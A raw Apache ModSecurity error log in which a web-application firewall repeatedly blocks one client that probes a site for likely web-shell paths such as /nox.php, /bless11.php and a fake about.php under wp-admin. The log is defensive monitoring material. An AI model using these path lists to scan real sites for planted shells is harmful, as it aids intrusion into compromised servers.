[Tue Mar 24 01:09:21.576372 2026] [:error] [pid 56236:tid 56304] [client 20.220.216.188:29555] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFzwXapFgYp0uZ8twAfPAAAAEs"]
[Tue Mar 24 01:09:21.990335 2026] [:error] [pid 56238:tid 56371] [client 20.220.216.188:29336] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acFzwVSqceFAZRgPDq6XRgAAANc"]
[Tue Mar 24 01:09:22.409731 2026] [:error] [pid 56237:tid 56336] [client 20.220.216.188:29354] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acFzwgymO0MnzQb90MMiGgAAAI8"]
[Tue Mar 24 01:09:22.865588 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29271] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acFzwsrwr-l5A-s9ryBw7wAAAQQ"]
[Tue Mar 24 01:09:23.278706 2026] [:error] [pid 56236:tid 56302] [client 20.220.216.188:29284] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "acFzw3apFgYp0uZ8twAfPgAAAEk"]
[Tue Mar 24 01:09:23.691557 2026] [:error] [pid 56237:tid 56334] [client 20.220.216.188:29372] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acFzwwymO0MnzQb90MMiHAAAAI0"]
[Tue Mar 24 01:09:24.108667 2026] [:error] [pid 56236:tid 56315] [client 20.220.216.188:29313] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acFzxHapFgYp0uZ8twAfQAAAAFY"]
[Tue Mar 24 01:09:24.524759 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29324] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acFzxAymO0MnzQb90MMiIgAAAIM"]
[Tue Mar 24 01:09:24.938308 2026] [:error] [pid 56236:tid 56311] [client 20.220.216.188:29491] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acFzxHapFgYp0uZ8twAfQwAAAFI"]
[Tue Mar 24 01:09:25.350990 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29273] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "acFzxcrwr-l5A-s9ryBw8wAAAQc"]
[Tue Mar 24 01:09:25.764114 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29392] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "acFzxcrwr-l5A-s9ryBw9gAAAQA"]
[Tue Mar 24 01:09:26.183691 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29374] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "acFzxsrwr-l5A-s9ryBw-QAAAQE"]
[Tue Mar 24 01:09:26.601031 2026] [:error] [pid 56236:tid 56297] [client 20.220.216.188:29342] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "acFzxnapFgYp0uZ8twAfRwAAAEQ"]
[Tue Mar 24 01:09:27.041369 2026] [:error] [pid 56237:tid 56332] [client 20.220.216.188:29338] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "acFzxwymO0MnzQb90MMiJgAAAIs"]
[Tue Mar 24 01:09:27.460146 2026] [:error] [pid 56237:tid 56325] [client 20.220.216.188:29366] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "acFzxwymO0MnzQb90MMiJwAAAIQ"]
[Tue Mar 24 01:09:27.872495 2026] [:error] [pid 56237:tid 56343] [client 20.220.216.188:29333] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "acFzxwymO0MnzQb90MMiKgAAAJY"]
[Tue Mar 24 01:09:28.306078 2026] [:error] [pid 56236:tid 56316] [client 20.220.216.188:29365] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "acFzyHapFgYp0uZ8twAfSAAAAFc"]
[Tue Mar 24 01:09:28.822721 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29293] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "acFzyAymO0MnzQb90MMiLQAAAIo"]
[Tue Mar 24 01:09:29.235467 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29295] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "acFzycrwr-l5A-s9ryBw_wAAAQ4"]
[Tue Mar 24 01:09:29.654640 2026] [:error] [pid 56236:tid 56313] [client 20.220.216.188:29486] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "acFzyXapFgYp0uZ8twAfSwAAAFQ"]
[Tue Mar 24 01:09:30.082920 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29320] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "acFzygymO0MnzQb90MMiLwAAAIM"]
[Tue Mar 24 01:09:30.533384 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29347] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "acFzylSqceFAZRgPDq6XVQAAAMs"]
[Tue Mar 24 01:09:30.997676 2026] [:error] [pid 56238:tid 56357] [client 20.220.216.188:29346] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "acFzylSqceFAZRgPDq6XVgAAAMk"]
[Tue Mar 24 01:09:31.432244 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29375] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "acFzy8rwr-l5A-s9ryBxBgAAARI"]
[Tue Mar 24 01:09:31.853813 2026] [:error] [pid 56236:tid 56308] [client 20.220.216.188:29362] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "acFzy3apFgYp0uZ8twAfTgAAAE8"]
[Tue Mar 24 01:09:32.329518 2026] [:error] [pid 56236:tid 56293] [client 20.220.216.188:29290] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "acFzzHapFgYp0uZ8twAfUAAAAEA"]
[Tue Mar 24 01:09:32.744914 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29314] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "acFzzFSqceFAZRgPDq6XVwAAAME"]
[Tue Mar 24 01:09:33.186962 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29299] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "acFzzVSqceFAZRgPDq6XWAAAAM0"]
[Tue Mar 24 01:09:33.598660 2026] [:error] [pid 56237:tid 56337] [client 20.220.216.188:29278] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "acFzzQymO0MnzQb90MMiMwAAAJA"]
[Tue Mar 24 01:09:34.098372 2026] [:error] [pid 56237:tid 56332] [client 20.220.216.188:29350] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "acFzzgymO0MnzQb90MMiNAAAAIs"]
[Tue Mar 24 01:09:34.536309 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29260] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "acFzzgymO0MnzQb90MMiNQAAAJc"]
[Tue Mar 24 01:09:34.977509 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29251] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "acFzzsrwr-l5A-s9ryBxDQAAAQ0"]
[Tue Mar 24 01:09:35.413992 2026] [:error] [pid 56238:tid 56354] [client 20.220.216.188:29460] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "acFzz1SqceFAZRgPDq6XYwAAAMY"]
[Tue Mar 24 01:09:35.838929 2026] [:error] [pid 56237:tid 56323] [client 20.220.216.188:29378] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "acFzzwymO0MnzQb90MMiOQAAAII"]
[Tue Mar 24 01:09:36.291283 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29353] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "acFz0Mrwr-l5A-s9ryBxEAAAARc"]
[Tue Mar 24 01:09:36.706122 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29185] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "acFz0FSqceFAZRgPDq6XZgAAAM0"]
[Tue Mar 24 01:09:37.134317 2026] [:error] [pid 56435:tid 56511] [client 20.220.216.188:29307] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "acFz0crwr-l5A-s9ryBxEwAAAQs"]
[Tue Mar 24 01:09:37.549449 2026] [:error] [pid 56237:tid 56329] [client 20.220.216.188:29190] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFz0QymO0MnzQb90MMiPwAAAIg"]
[Tue Mar 24 01:09:37.970480 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29428] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFz0crwr-l5A-s9ryBxFgAAAQU"]
[Tue Mar 24 01:09:38.408808 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29275] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFz0srwr-l5A-s9ryBxGQAAAQ4"]
[Tue Mar 24 01:09:38.858313 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29339] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFz0srwr-l5A-s9ryBxHgAAAQ8"]
[Tue Mar 24 01:09:39.275905 2026] [:error] [pid 56238:tid 56352] [client 20.220.216.188:29495] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "acFz01SqceFAZRgPDq6XZwAAAMQ"]
[Tue Mar 24 01:09:39.689341 2026] [:error] [pid 56435:tid 56513] [client 20.220.216.188:29355] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "acFz08rwr-l5A-s9ryBxIQAAAQw"]
[Tue Mar 24 01:09:40.101991 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29122] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "acFz1Mrwr-l5A-s9ryBxJAAAARI"]
[Tue Mar 24 01:09:40.539548 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29311] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "acFz1Mrwr-l5A-s9ryBxJgAAAQU"]
[Tue Mar 24 01:09:40.973963 2026] [:error] [pid 56238:tid 56356] [client 20.220.216.188:29287] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "acFz1FSqceFAZRgPDq6XcAAAAMg"]
[Tue Mar 24 01:09:41.388552 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29349] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "acFz1crwr-l5A-s9ryBxKQAAAQc"]
[Tue Mar 24 01:09:41.801736 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29306] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "acFz1VSqceFAZRgPDq6XcQAAAMs"]
[Tue Mar 24 01:09:42.218573 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29257] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "acFz1srwr-l5A-s9ryBxLQAAARQ"]
[Tue Mar 24 01:09:42.644473 2026] [:error] [pid 56237:tid 56334] [client 20.220.216.188:29280] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "acFz1gymO0MnzQb90MMiRgAAAI0"]
[Tue Mar 24 01:09:43.056814 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29292] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "acFz1wymO0MnzQb90MMiRwAAAJc"]
[Tue Mar 24 01:09:43.468727 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29263] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "acFz18rwr-l5A-s9ryBxMgAAAQ4"]
[Tue Mar 24 01:09:43.883358 2026] [:error] [pid 56237:tid 56345] [client 20.220.216.188:29369] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "acFz1wymO0MnzQb90MMiTAAAAJg"]
[Tue Mar 24 01:09:44.299740 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29298] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "acFz2Mrwr-l5A-s9ryBxMwAAAQI"]
[Tue Mar 24 01:09:44.711215 2026] [:error] [pid 56237:tid 56336] [client 20.220.216.188:29274] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "acFz2AymO0MnzQb90MMiUAAAAI8"]
[Tue Mar 24 01:09:45.139754 2026] [:error] [pid 56238:tid 56372] [client 20.220.216.188:29253] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "acFz2VSqceFAZRgPDq6XdwAAANg"]
